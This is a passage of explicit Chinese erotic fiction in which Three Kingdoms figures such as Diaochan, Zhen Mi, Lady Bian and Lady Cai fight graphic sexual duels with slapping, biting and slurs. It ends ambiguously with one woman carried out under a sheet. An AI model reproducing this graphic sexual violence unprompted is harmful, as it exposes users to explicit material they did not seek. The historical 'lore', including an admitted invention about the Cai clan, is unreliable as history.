,起初是甄宓下手重了,手指在陰道抽插中已經不似開始時那樣輕柔,貂禪感到了快感中夾雜著疼痛,以為甄宓是故意的,嘴上開始不只用舌頭舔,不時地用牙齒咬咬甄宓的陰唇,雙方你來我往,下手越來越重,都弄得對方在快感和痛苦中間徘徊,一次次地加重著力道。在貂禪又一次咬疼甄宓後,甄宓終於受不了了,雙腿和腰上用力,把上面的貂禪頂翻,坐起來罵道:」你個賤貨竟然咬我!「貂禪也不甘示弱,翻身也坐了起來:「還不是你個騷貨戳我!」「你那個騷屄就該戳,戳死你個賤人!」此時的甄宓已經沒有了平時在外的那份高貴,像個接頭潑婦一樣罵道。
「那你那個爛屄就該咬,疼死你個騷貨!」貂禪也好不到哪去,破口大罵。
甄宓氣得咬牙切齒,掄起手來扇了貂禪一個耳光,只聽「啪」地一聲,貂禪那絕美的臉龐便紅了一邊,貂禪也失去了理智,還沒等甄宓回過神兒來,「啪」地一聲還了甄宓一個耳光,還完了還不算,接著又撲上去壓住甄宓。甄宓哪能如她所願,抓住貂禪手肘,與貂禪展開肉搏。兩個豐滿美麗的女人跌在一起,不住地在床上翻滾、角力,用腳蹬,拿手掐,使盡渾身的力氣,兩人翻滾了約一拄香的時間,竟是誰也沒佔到便宜,還弄得筋疲力盡,雙雙倒在床上,胸口劇烈地起伏,喘著氣,也不忘怒目相向。休息了一會兒,兩人都恢復了些許體力,緩緩地坐了起來,甄宓突然冒出個注意,便說道:「剛才你說我的屄爛,那就讓它們對咬,看誰的爛!你敢嗎?」說著,還示威似地分開雙腿,把自己的龍珠屄展示給對手,貂禪聽了心裡一陣悸動,剛才還在想跟這淫屄拚個輸贏,竟然成真了!
心了想著,面上卻看不出什麼,說道:「好,咱們就接著比比,還怕你不成,看誰咬爛誰的!」接著也叉開雙腿,露出白虎屄,兩人姿勢非常曖昧,看了令人血脈噴張,欲涎欲滴,可兩人可都沒這個心情,最開始的時候兩人對肏過,雖然都沒控制住自己,但也摸清了對方的底,可謂是旗鼓相當,難分高下,現在雖然表面上不動聲色,可心裡都在打鼓,緊張的很。兩人不敢再向起初那樣唐突,伸吸一口氣,不約而同地挺著自己的淫屄緩緩靠近,最後「滋」地一聲貼在了一起,兩人都因一陣快感襲來而向後微仰,待快感過後,開始緩慢地撕磨起來,「嗯?
…………恩?…………」,「啊?…………啊?…………」,屋內再次迴響起了兩人淫叫聲,兩人都心懷鬼胎,誰都沒使出真本事,只是普通的對磨而已。不知過了多久,兩人都開始相信對手似乎沒留什麼後著,便漸漸拿出了真本事,甄宓突然發難,只見突然貂禪突然面色一變,驚訝的看著得意的甄宓,緊緊地抿著嘴,「怎麼樣?我的龍珠屄可是會『咬』人的,爽嗎?賤人」甄宓得意得想笑,好像勝利在望似的,可惜嘴角還沒彎起來,就變成了「O」型,驚叫道:「你……你竟然也會夾緊陰道?」貂禪冷笑道:「你見過不咬人的『白虎』嗎?哼!」當下又加了幾分力道,下面夾得更緊了,甄宓皺了皺眉頭,沒想到眼前這個女人如此棘手,竟然連自己的絕招都會,真不知道該如何是好了,殊不知貂禪也是心中驚疑,抱著同樣的想法。想歸想,戰鬥還得繼續,兩人下體各夾住對方一片陰唇,不住夾緊,兩人僵持不下,貂禪見這方法不靈,只好支起身子,挺著陰戶,推擠甄宓,想把對方擠下床去。甄宓見對方如此,立即明白了貂禪的用意,也挺起陰戶跟對手對擠,兩個兩個陰戶緊緊地挨在了一起,兩個陰核正好頂在一起,由於兩人不住地挺動陰戶向前,兩個陰核不斷地撞擊,帶來一陣一陣地快感,現在,誰先被這股快感弄得無力,誰便會被對手擠下床,也就輸了場戰鬥。兩人雙手支床,你來我往,兩個陰戶親密無間,撞、夾、磨,無所不用,下體傳來的麻、癢、疼等各種感覺,使兩人既感覺舒服又感覺痛苦,說不出其中滋味,倆人的下體早已淫水氾濫成災,順著兩人的股間流至肛門,滴到床上,隨著時間的推移,高潮的腳步已經悄然臨近,貂禪和甄宓雖然極力控制,無奈這股來勢太凶,兩人雙雙在高亢的淫叫聲中達到了高潮。
兩人已經筋疲力盡,倒在床上,兩人高傲地性格允許就這樣結束,定要分個勝負才肯罷休,休息片刻,這次是甄宓先掙紮著爬起來要求再戰,貂禪隨即也撐起身子,兩人剛要再度開始,突然有人敲門……美芳被瞧門的聲音吵醒,頭還有些昏沈,感覺像酒喝多了宿醉一樣,她甩了甩昏昏沈沈的頭腦,清醒了不少,左右望望發現這是在自己的閨房裡,而且感覺身上涼颼颼的,這時對面緩緩坐起個人來,「誰呀?這麼吵!」美芳定眼一看,不是蓮月又是誰,美芳這才想起來,自己跟面前這個賤人大戰一場,弄得筋疲力盡,雙雙昏睡過去,也不知道過了多久。蓮月這時似乎也清醒了,看見美芳,一副要撲上來的樣子,沒有說話。敲門聲越來越急,美芳只應了聲,下床去開門,走了一半發現自己沒穿衣服,急急忙忙地從地上揀了幾件穿上,才去開門。門外是靜溢園裡的丫鬟,一副很著急的樣子,見了美芳,忙道:「可找到你了,美芳姐,剛剛傳來消息,今晚司徒大人要來拜訪,夫人進了澡堂,現在也不見出來,夫人有命,我們不敢過去,眼看就到酉時(太陽落山的時候)了,晚宴還不知道如何準備,你快想個辦法!」美芳看了看天,果然日落將至,想了想,道:「你們去準備些下酒的菜,再準備些好酒,夫人那邊由我去叫,去吧。」丫鬟應諾,跑了。美芳進屋,見蓮月已經穿好了衣服,也不多說,只道了句「跟我來」轉身便走。
美芳帶著蓮月來到小屋門前,擡手叫門,過了會兒裡面才傳出貂禪的聲音。
門開了,貂禪和甄宓走了出來,從兩人的臉上看不出什麼,甄宓一看天色便知不好,古代只有妓女才夜不歸宿,美芳簡單稟告了司徒大人的事,貂禪也是一驚,趕緊送了甄宓出門,末了,甄宓只簡單地說了句:「咱們下次在會!」便上了馬車,貂禪目送馬車遠去,神色複雜。
車上,蓮月喋喋不休地述說著她與美芳之戰,並要求甄宓再教她幾招,甄宓只是悠悠地說道:「如今我自己都自顧不暇,哪還有心思教你,貂禪如此難纏,我與她戰至酉時還不分勝負,哎。」聽得蓮月合不籠嘴,自己只跟美芳對幹了一個時辰便昏睡了一下午,主子竟然跟貂禪對幹了一天?還不分勝負?甄宓嘆氣,撩起衣裙,露出陰戶,只見其原本粉紅的陰唇嫩肉,如今竟是青紫色,可見兩人的鬥得之狠,蓮月看罷不由得驚叫起來:「姐姐!這……」甄宓道:「沒事,那賤人也比我好不到哪去,我娘在我出嫁時曾對我說,說我剛出生時曾請了算命先生幫我算命,先生說我有凰相,日後必定母儀天下,但美中不足的是我命運坎坷,且必有一個女子命中注定與我爭鬥不休,我原以為是她,可我錯了,原來不是她。」最後竟似自言自語,蓮月問「她」是誰,甄宓不答,只說了句:「她也是個苦命的女人。」說著,向北望去。
第九章隨軍荊襄
甄宓走後,貂禪馬上漏出疲態,命美芳前去打掃「戰場」,自己則抓緊時間休息一下。美芳進了房內,首先撲面而來的是一股女性特有的排精的氣味,環視屋內,是一片狼籍,水池中漂浮著一塊塊乳白色的液體,沿著地上水跡向內看去,床上原本平整潔白的絲製床單如今已經千窗百孔,皺成一團,靜靜地搭再地上,床單滲出來的液體把周圍地面染濕了一大片,看得美芳瞠目結舌,愣在當場,過了一會才緩過神兒來,急急忙忙地收拾起來。
貂禪沒休息多久司徒便來造訪,貂禪只好拖著疲憊地身體,笑臉相迎,心裡卻猜測著甄宓現在一定在家舒舒服服地修養為下次對決而養精蓄銳吧?可惜貂禪猜錯了,甄宓這時候決不比她好過多少,甄宓回到府中發現曹丕不知在哪應酬回來已經是喝得爛醉,醉到連自己老婆都認不出來,還以為是哪個阿諛奉承的傢夥進獻來的美女,強拉硬拽就和甄宓行了房事,還好曹丕喝得爛醉,沒有折騰得太厲害……今夜,注定兩個女人都不好過。
時間飛逝,轉眼已經過去了6年,公元207年8月曹操大破烏桓,消滅袁氏殘餘勢力,統一了北方。而貂禪與甄宓在這6年中起初是頻繁「交戰」,但自從公元204年兩人的一次「交戰」過後,便再未發生「戰事」,似乎忘卻了對方的存在一般,起因是那天甄宓入了靜溢園後不久,蓮月便飛奔而出,不一會就拉著一個大夫奔進了去,又過了一會兒,貂禪攙著甄宓出了大門,甄宓臉上洋溢著幸福滿足的模樣,內心的喜悅不言自明,貂禪的表情則比較複雜,有發自內心的喜悅,又有淡淡的憂愁,貂禪扶著甄宓上了馬車,目送其遠去。一年後,即公元205年,甄宓產下一子,取名曹叡,後世史稱魏明帝。
公元207年,北方已定,這天曹操正在召集文武百官商議今後的戰略方向,忽一快報傳到,遞到曹操手中,看罷,曹操大笑,左右不明,問其原由,操曰:
「與耳等無關,只是了卻一裝心願,如今事已辦成,吾願足矣。」左右皆莫名,又不敢多問,操問來者:「尚遠否?」其答約:「不遠矣,年後便可抵達許都。」操大喜,重賞之。
轉眼又過了一年。此時,貂禪正在花園內賞花,忽然看見美芳急急忙忙地跑了過來,嘴裡喊著:「不好了!不好了!」貂禪眉頭一皺,一邊扶住上氣不接下氣的美芳,一邊問道:「出了什麼事?慌慌張張的。」美芳一邊喘著氣一邊答道:
「不好了……打……打仗了!」貂禪沒好氣地翻了翻白眼,這年頭,天天打仗,人命比紙薄,這有什麼好慌張的,莫非打到許都來了?不可能啊,曹操已有天下三分之二,誰還有能力打到這來?正在胡思亂想,只聽美芳接著說道:「丞相大人要南徵了,命姐姐你隨軍出征。」貂禪反而更奇怪了,問道:「你哪聽到的消息?丞相出征從不帶女人,怎麼這次突然想起帶我?」美芳答道:「是許楮大人告訴我的,他說這次出征應該必勝,所以丞相大人應該是帶著半遊玩的心態,聽說卞夫人也同去。」貂禪眯起眼睛上下打量美芳,笑道:「哦?沒想到許楮大人待你挺好的嘛,這麼重要的機密都告訴你,怪不得最近總來我這作客,原來是醉翁之意不在酒,在你這個小美人身上啊。」美芳急得直跺腳:「姐姐你還有心思開玩笑,咱們可就要離家出徵了啊!」貂禪聽罷只是悠悠地說了句:「我早就沒
有了家,沒有死在這亂世中已經算是萬幸,生兒教女已是奢望,還真是羨慕甄宓那賤人,至少她還有個家。」美芳愕然。
果如美芳所言,公元208年7月曹操聽從謀士荀彧建議,起兵20萬南征,對外詐稱百萬大軍,隨軍者諸如張遼、許楮、曹仁、張合、于禁等名將無數,一時間天下震動,聞此信者無不動容。曹操也擺出天下已定之態,軍中亦帶有卞夫人、貂禪為伴,氣勢凶兇殺奔荊州而來。當年8月,劉表病死,劉備無力抵抗曹操,棄城而走,9月,劉琮不戰而投降曹操,曹操未費一兵一卒便收了荊州,心中更是喜不自禁,隨後,曹操大軍進駐襄陽,召見劉琮。
大殿之上,曹操一副懶洋洋的樣子,文武百官分列左右,卞夫人則坐在曹操身旁,貂禪立於曹操身後,操冷眼看著殿下跪著的劉琮等人,問:「荊州軍馬錢糧,今有多少?」蔡瑁曰:「馬軍五萬,步軍十五萬,水軍八萬:共二十八萬。
錢糧大半在江陵;其餘各處,亦足供給一載。「操曰:」戰船多少?原是何人管領?「瑁曰:」大小戰船,共七千餘隻,原是瑁等二人掌管。「曹操心想,此二人還有利用的價值,遂加瑁為鎮南侯、水軍大都督,張允為助順侯、水軍副都督。
二人大喜拜謝。曹操又看向跪在最前面的兩個人,劉琮不過只是個小孩,從沒見過曹操這等威嚴,不住地發抖,旁邊跪著一個婦人,一直未曾擡頭,曹操心裡盤算著,劉琮是荊州舊主,留之必為後患,當除之,正欲發話,卻聽那女人說道:「我兒劉琮獻荊州,乃大功一件,丞相為何不加封賞?」曹操一愣,問曰:
「汝乃何人?擡起頭來。」只見那婦人緩緩擡起頭來,操觀之,其雖已是婦人之年但還略有幾分姿色,衣著華麗,聞其答曰:「吾乃劉表之妻蔡氏,見過丞相,吾兒久居荊州,恐有鄉情,枉丞相體諒。」隨後擺出一副媚態,又曰:「丞相不必急於封賞,今夜可到妾身房中詳談。」貂禪一聽心想,這女人還真是膽大包天,當著文武百官也就算了,竟然當著曹操的正妻就敢勾引曹操,隨後望向卞夫人,這卞夫人原本出身低微,不過是個酒樓的歌妓,曹操喜愛納為妾,曹操正妻死後卞氏便升為正妻,曹丕、曹植、曹彰、曹熊皆為其所生,曹丕、曹植如今是炙手可熱的繼承人選,曹彰又是勇冠三軍,如今的地位可是無人能比,為人也還算隨和,只要以禮相待她也不會成心刁難,一路上相處還算融合,不是那種嫉妒心十分強的女人,不然曹操也不會娶了那麼多老婆,但蔡夫人這是成心找她的難看,完全不把她放在眼力,恐怕這下再隨和也會動怒了。只見卞夫人臉色登時就是一變,但當著曹操和文武百官也不好發作,等待曹操決斷。可惜曹操好色有個特點:
好為人妻!對這種嫁過人生過孩子的女人他最沒抵抗力,宛城戰張繡的時候就因為睡了張繡的嫂嫂逼反了張繡,結果搭進去1個兒子1個侄子和猛將典韋,自己差點也折進去。這次依然不吸取教訓,竟然還答應了,然後馬上就打發蔡夫人等下殿去了。這可把卞夫人氣炸了,可她不能怪曹操,也不敢怪曹操,所以把所有的怒氣都加在了蔡夫人身上,等待機會教訓一下這個目中無人的下賤女人。沒想到機會來的太快,蔡夫人等沾沾自喜地剛剛下殿,機會就來了!作為曹操的謀士,荀攸是很清楚曹操的喜好和缺點的,如今荊州新降,人心不穩,曹操和蔡夫人發生關係極有可能重導宛城的覆轍,但他又不能干涉曹操的私生活,他腦袋一轉,想到了一個人,一個曹操十分畏懼的人,心中一喜,進言道:「蔡瑁,張允乃諂佞之徒,主公何遂加以如此顯爵,更教都督水軍乎?」操笑曰:「吾豈不識人!
止因吾所領北地之眾,不習水戰,故且權用此二人;待成事之後,別有理會。」荀攸又曰:「江陵乃荊襄重地,錢糧極廣。如今劉備南逃,若據此地,急難動搖。」
操大驚曰:「孤幾忘之!」操教各部下精選五千鐵騎,即日出發,星夜前進,追殺劉備去了。
卞夫人知曹操出征,自然不會放過這個機會,當夜便命人將蔡夫人帶進了自己的臥室。
第十章蔡卞之戰(上)
當夜,貂禪閒暇無事,正坐在窗前賞月,荊州氣候濕潤,此時又正是一年中最熱的時候,在北方住慣了來到這裡感覺不習慣是正常的,而且如此悶熱難免使人心情煩躁,貂禪無論怎麼揮舞手中的扇子,也感覺不到絲毫涼氣,只好讓美芳陪著她到院中走走。才出門沒走幾步,便撞上幾個卞夫人侍女和被押著的蔡夫人迎面走來,月色朦朧,但貂禪依然清楚地看到蔡夫人臉上依然帶著那種桀驁不遜還夾雜著興奮的表情,似乎她已經勝利了似的。蔡夫人也見了貂禪,她眯起眼睛笑了起來,停住腳步,擋下貂禪,用她那淫蕩的聲音說道:「小美人,別忙走,我有話對你說。」貂禪不知道她葫蘆裡賣的什麼藥,沒有搭話,聽她下文如何說,蔡夫人見貂禪沒搭話,也不氣惱,自顧自地說了起來:「雖然我不知道你是誰,但能陪著曹丞相來到這裡,想必身份也決不尋常吧?不過你也不用自報家門,因為你和那個卞夫人,都將是我的墊腳石,解決完她之後也就該輪到你了,此次南下,曹丞相必定得勝而歸,一統天下,之後他早晚稱帝,此時我委身於他,日後必定飛黃騰達,一人之下萬人之上,哈哈哈哈,你,就等著吧!」說完轉身就走,院中迴蕩著她狂妄的笑聲,久久不能消散。
看著蔡夫人的背影,貂禪對其的厭惡又加重了幾分,美芳了蔡夫人走遠了,對著背影吐了吐口水,罵道:「呸!什麼東西,這騷貨也太狂妄了,就她,還想勝過姐姐你?看那模樣,恐怕都不是我的對手。」貂禪斥道:「你懂什麼,姓蔡的女人不好對付。」美芳不滿,小聲嘟囔:「什麼姓蔡的女人不好對付,直接說我不是她的對手就完了唄。」貂禪聽了不怒反笑,解釋道:「之所以說姓蔡的女人不好對付,有原因的,相傳很久很久以前,還在黃帝統治之前的部族時代,那時女人的地位很高,部族裡的族長全部由女性擔任,有兩個部族生活在長江邊上,一個自稱草族,一個自稱祭族,都十分興旺,原本相安無事,和平共處,但後來,他們都看中了一片盛產果子的樹林而爆發了戰爭,雙方都是男女齊出,最後是兩敗俱傷,死傷大半,連他們爭奪的果林都毀在了戰爭當中,兩族人都面臨著餓死的危險,兩個部族的女族長認識到問題的嚴重性,經過一番思考過後,決定用上古女媧娘娘流傳下來的方式決鬥,相約性戰,解決兩族的恩怨,激戰過後,兩族化解干戈,合為一族,草加祭合成一個『蔡』字,這便是蔡氏一族的由來。」(以上純屬劇情需要的胡編亂造,如果冒犯了哪位兄弟的姓氏,還望海涵)一席話聽的美芳瞠目結舌,半天才緩過勁來,問道:「姓蔡的還有這來歷?」「當然,如今蔡氏一族在這荊州還是名門望族,不然劉表怎麼會娶她為妻,最重要的是蔡氏一族生下的女孩各個都是性戰的好手,耐力極強,不好對付的很。」美芳點了點頭,說道:「看來這姓蔡的還有點來頭兒,這麼說卞夫人是凶多吉少了?」貂禪搖搖頭,說:「那可未必,以我觀之,蔡夫人這個女人野心太大,卻又不懂得掩飾,毫無城府,就算勝過了天下所有的女人,也未必討男人的歡心,何況卞夫人也未必就是善主,誰勝誰負還很難說。」美芳吐了吐舌頭,搖了搖貂禪的手臂,小心翼翼地問:「姐姐,你說的那個關於草族和祭組的故事,兩個族長最後誰贏了?」貂禪戳了一下美芳的額頭,笑罵:「笨死你,蔡字,草頭在上,祭在下,你說誰贏了?」美芳低頭細想,豁然開朗:「哦?!我明白了!」再擡頭,發現貂禪已經走遠了。
卞夫人靜靜地坐在梳妝台前,銅鏡中模糊地映著她的臉龐,很難看出她此時的表情,此時身後響起了敲門聲,她深深地吸了口氣,說了聲:「進來吧。」門開了,侍女帶著蔡夫人走了進來,卞夫人站起來轉過身,盯上了對手的眼睛,似乎想從中找到恐懼和慌亂,但迎上她的是一雙充滿挑釁和蔑視的目光,她在心裡地嘆了口氣,平靜地命令侍女門:「你們出去吧,沒有我的允許,誰要不許進來。」待侍女們退了出去,關上房門,她才將目光移回對手的身上。但她驚奇的發現,蔡夫人竟然已經撲了上來,剛要說話,嘴已經被對手用自己的堵上,並開始吸吮,對手的舌頭也伸了進來,開始大力攪動,而且腰部被對手狠很地一摟,整個身體往前一滯,與對手撞在一起,而且正好是胸對胸,腹對腹,雖然閣著衣服,但卞夫人依舊清晰地感覺到對手乳頭刺進乳房,似有一股電流流遍全身。蔡夫人趁卞夫人驚魂未定之時,動作加劇,兩人剛胸部才對頂了一下,便改撞為磨,只見她身體輕微扭動,不住地用身體與對手摩擦。卞夫人也沒有任人宰割,在蔡夫人用身體與自己摩擦便開始了反抗,起先是激烈地回吻,然後右臂摟住對手扭動中的腰,左臂摟住對手的頸部,身體則隨著對手的節奏扭動起來,以減少相互的摩擦。
此時房內只有兩人接吻的「滋滋」聲和喘息聲,蔡夫人不住地對卞夫人施加壓力,而卞夫人極力地反抗,激烈地吻戰中,兩人口水四溢,順著嘴角流至下巴,滴落在正相互摩擦的胸前的胸巾上,使得兩人胸前濕噠噠的,已經感覺不到胸巾了。
兩人對吻了半拄香的時間,蔡夫人見難以制服對方,方才「罷兵」,慢慢地收回自己的舌頭,鬆開了手臂,卞夫人也知道進退,同樣放開了蔡夫人。此時觀之,兩人胸前的衣物是一片狼籍,蔡夫人的胸巾已經在身體的摩擦中褪到了腰部,豐碩的奶子裸陋在外,上面四散著亮晶晶的唾液,而面色呼吸如常;而卞夫人的胸巾也在摩擦中褪下去一半,左乳暴露在空氣中,右乳雖還包在胸巾內,但由於胸巾被口水浸濕,完全粘在上面,因此很明顯地能看到乳頭的突起,而面色潮紅,呼吸急促,顯然在蔡夫人的猛攻下還是吃了虧的。
現在蔡夫人反而不著急撲上去鞏固戰果了,因為她知道,一旦被挑起慾火,而不能馬上得到滿足,是一件很難受的事,任她慾火燒上一會兒,再上去挑逗,高潮才來得迅猛,她要先折磨對手的意志,這樣才能在接下來較量中佔得先機,一切她都事先計劃好了。「你很不錯,能在我吻戰到這種程度的,你還是第一個。」她高傲地昂著頭,像君王俯視臣下一般。卞夫人努力壓下慾火,說道:「我還是第一次碰上你這麼不要臉的,如果不是你突然襲擊,吻戰你未必能佔到便宜!」蔡夫人笑了:「怪就怪你自己沒作好準備,我可是明白的很,你叫人把我帶到這來,不就是想教訓教訓我嗎?怎麼,難道不是?莫非你想跟我敘敘家常?哈哈……」卞夫人氣的臉色更紅了,但沒有答話。
大笑過後,蔡夫人又自顧自地說了起來:「不過,我還是得感謝你,竟然將這千栽難逢的機會送到了我的面前,我原本以為會陪劉表那糟老頭子終老一生,為了榮華富貴,我竟然跟那些騷貨爭一個糟老頭,結果他這麼快就死了,真是天大的笑話。原來,跟劉表再富貴也不過一州,現在,只要我打敗你和那個妖精,委身於曹操,我就有機會母儀天下,原本與我決鬥的女人我從不問她的名字,但你不同,你是我最重要的墊腳石,所以我就破例記下你的名字,你叫什麼?」卞夫人壓下心中的怒氣,淡淡地說:「我原本出身歌妓,沒有名字,只有一個藝名,叫玲瓏。」
「玲瓏……卞玲瓏……好!我記下了,也請你記住,今天將打敗你,取代你位置的女人,叫蔡芷。」言畢,蔡夫人便開始緩緩地脫自己的衣服,卞夫人也開始褪下自己的衣物,邊脫邊向房內退去,脫下的衣服就隨手扔在了地上,兩人一前一後,邊脫邊往內房移動,直至來到了床前,兩人已經一絲不掛,相對而立,蔡卞之戰,即將真正展開。
第十一章蔡卞之戰(下)
褪去衣物,兩人冷眼觀察著對方,雖然兩人都已四十餘歲,蔡芷略比卞玲瓏年輕,但論樣貌還是卞玲瓏略勝一籌,而蔡芷則顯得更風騷,兩人神態上相比,就像一個是妓院的妓女,一個像是良家的婦人。身材上,兩人相差無幾,豐滿的乳房和白皙的皮膚,都是勾引起男人性慾的利器,而蔡芷仔細觀察後發現,雖然只有一點點,但卞玲瓏的胸部已經開始下垂,年輕的時候卞玲瓏的乳房一定又硬又挺,可畢竟歲月不饒人,如果是男人一定難以發覺,但女人則不同,也只有女人才最瞭解女人的身體,蔡芷發現了這一點,無疑又使她那本來就過分自信的心理更加狂妄,她似乎已經看到自己宣佈勝利的那一刻,因此她不自覺地笑了。卞玲瓏看到對手笑了,怒火中燒,冷冷地說:「還等什麼,咱們開始吧!」她已經受不了眼前這個女人如此輕蔑的眼神了。
「怎麼?已經忍不住了?」蔡芷笑道:「我可是一點感覺還沒有呢。」嘴上雖然這麼說,但她已經聳身上前撲了上來,似乎比卞夫人還著急。見對手撲了上來,卞玲瓏毫不退讓,縱身迎了上去,兩人撞在一起,發出了不小的聲響,兩人顧不上肉體上的疼痛,嘴對嘴就已經吸吮起來,香舌齊出,紛紛攻入對方的口腔內,上下攪動,發出「滋茲」的聲音。嘴對上了,手腳也不能閒著,蔡芷左臂摟住對手的細腰,右手抓住對手的左乳揉搓,好個蔡夫人,只見她右手時而抓捏,時而用拇指和食指揉搓乳頭,不一會兒卞玲瓏的兩個乳頭便更加突起。卞夫人自然不能讓蔡芷佔據上風,她左手伸到對手身後,撫摸對手的翹臀,右手在蔡芷全身上下遊走,同時右腿插入對手兩腿之間摩擦蔡夫人的陰戶,弄得蔡芷嬌喘連連,一時間難以自拔。兩位夫人你來我往,互不相讓,約莫堅持了兩柱香的時間,突然蔡芷一把推開卞玲瓏,卞夫人由於是單腿支撐,難以維持平衡,噔噔噔噔退後幾步倒在床上,馬上又坐了起來。此時,再觀兩人狀態,蔡芷也已經面色潮紅,呼吸急促,腿間隱隱有水跡順著大腿內側流下,再觀卞玲瓏,也在劇烈喘息,乳頭高高豎著,插入蔡夫人腿間的右腿上殘留著一些水跡,而她坐著的床單處,也微微能看到一點被水浸濕的地方,然而是汗水還是淫水就不得而知了,顯然在剛才的交鋒中卞玲瓏略佔上風,但傷敵一千自損八百,她自己也好不到哪去。蔡芷尋思著對策,她還是第一次遇到這麼難纏的對手,原本自己已經小有優勢,原本以為只需將其擴大即可,沒想到剛才的交手過後,優勢沒有擴大,反而被對手縮小了,這使得她不免有些煩躁。「怎麼了?騷貨……來……來啊。」沒想到這回輪到卞夫人叫囂了。看著這個自己平生第一勁敵,蔡芷忽然心生一計,直罵自己笨蛋,怎麼早沒想到呢!她又笑了,擦去嘴角因剛才激烈對吻而流出來的口水,說道:「看來我還是太低估你了,不過這也改變你失敗的命運。」卞玲瓏沒有回話,只是冷哼一聲表示自己的不屑。蔡芷見了她的態度,知道對手已經上了套,馬上挑釁似的拖起自己的胸部道:「不信?別說下面那張嘴,就是比胸部你都不是對手。」卞玲瓏見狀,也拖起自己的乳房,回敬道:「那你何不來試試?」此話正中蔡芷下懷,為了不給卞玲瓏反悔的機會,她迅速上床,擺好姿勢。兩人跪坐在床上,面對著面,拖著自己胸部,怒目而視,就像兩名相撲選手在等待著比賽開始的發令聲。冥冥之中,兩位夫人像一起聽到了那發令聲似的,同時挺起胸部向對手的撞去,碰撞了,挺起的乳頭刺入乳房的快感和碰撞的疼痛感同時刺激著兩位夫人的,不自覺地發出「哦……!」的長嘯,但這還只是開始,她們鬆開拖著胸部的手,死命地摟緊對方,兩人一會兒對撞,一會兒對擠,兩人豐滿的乳房在中間被擠成了餅型。兩位夫人瘋狂地較量著,中間的乳房對撞對刺了多少下,連他們自己都說不清楚了,房間裡充斥著兩人痛苦而又略帶興奮的淫叫聲,身體的興奮程度也逐漸升級,到後來,每次撞擊兩人的腿間總會滴落一兩滴淫液。漸漸地,卞玲瓏發現自己上了當,她感覺到自己的乳頭刺進蔡芷的乳房的過程越來越困難,他感覺到自己的胸部越來越沒力,而蔡芷的乳頭卻堅硬如初,每次撞擊都給自己帶來強烈的刺激,而蔡芷也在困惑對方的戰鬥力,似乎沒有想想種那麼不堪一擊,她還是頭一次碰到在較量的前期就消耗如此多體力的情況,然而兩人只有硬撐著,繼續瘋狂的對攻。「哦……!」終於,不知是在多少次對撞之後,卞夫人終於被蔡夫人頂翻,後仰倒下了,笑容再一次出現在蔡芷的臉上,雖然比預想多經過了如此長的拉鋸戰,果然還是和預想的一樣,她勝利了,「我早說過,你注定要失敗的。」她獰笑著撲上去趴在卞玲瓏的身上,繼續用自己的胸部打壓著對手那軟弱的胸部。但卞玲瓏真的毫無反抗能力了嗎?答案是否定的,雖然卞夫人在乳斗中負於對手,但她還沒有達到高潮,她還可以用其他的部位反抗,她不能因為一個部位的失利而輸掉自己的全部。只見她忍住來自胸部一波一波地刺痛和快感,下面叉開雙腿,不住地用自己陰戶向上撞擊處在上位蔡芷的陰戶,同時上面吻、舔蔡芷的臉龐、耳根、脖頸等敏感部位,弄得蔡夫人一陣眩暈,有些無所適從,腦海裡只剩下猛攻對方胸部的念頭。兩人再次陷入了膠著的狀態,現在比拚的的就是兩人的意志力!約莫過了三炷香的時間,上位的蔡芷突然嬌軀狂震,同時帶動下位的卞玲瓏也是不住顫抖,「騷貨……!哦……!!」「啊……!賤人……!!」伴隨著高昂的呼喊聲,兩人同時噴出了自己生命的精華,達到了高潮。
蔡夫人疲憊地從卞夫人身上滾落到邊上,兩人並排躺著,不住地嬌喘,同時怒視著對方,兩人休息了約一炷香的時間,再次坐了起來。「你還想怎麼比,老娘奉陪,騷貨!」卞玲瓏說道。蔡芷雖然很想說繼續比胸,但無奈對方也不會傻到再上她的當,只好說:「咱們只有下面那張嘴沒較量過,咱們就對肏,直到有一個起不來為止。」「好!一言為定!」兩人說幹就幹,對坐在一起,擦開雙腿,由於兩人都已為人母,因此陰唇都顯得特別肥大寬鬆,由於剛才的較量,兩人的淫屄都濕的一塌糊塗,因此兩人都毫無顧忌地衝著對方的淫屄頂了過去,「啪」地一聲,兩個肥大的淫屄合的嚴嚴實實,毫無縫隙,只見兩人全身顫抖,但都要緊牙關沒有叫出聲,緊接著兩人便動了起來,起初是緩緩地對磨,隨著快感地增強,兩人的動作也開始粗野起來,「肏死你……賤貨……哦……啊……」卞玲瓏叫著,「來……來啊……看誰奸死誰……哦……」蔡芷同樣回敬道。兩人同時把顫抖的陰戶向前擠著,嘴裡一邊罵著一邊發出暢快的淫叫聲,神經被麻、癢、疼等各種感覺折磨著,最後磨已經不能滿足兩人白熱化的激戰,乾脆對撞起來,戰鬥一直持續到天亮,按照約定,直到兩人中的一個人倒下,再也沒有力氣爬起來為止。那是第三次高潮過後,兩人中的一個已經如爛泥般癱軟在床上,而另一個則不放心似的爬起來,繼續對著屍體一般癱倒的對手的腿間使勁磨了幾下,才緩緩倒在床上喘息……
貂蟬徹夜未眠,她在等待蔡卞之戰的結果。卯時,太陽才露出一點,貂蟬看見卞夫人的房門開了,幾個侍女走了進去,匆匆忙忙擡著一個擔架出來,上面明顯躺著一個女人,但上面蒙著白被單,看不出是誰,所有人都在思考一個問題:
誰贏了?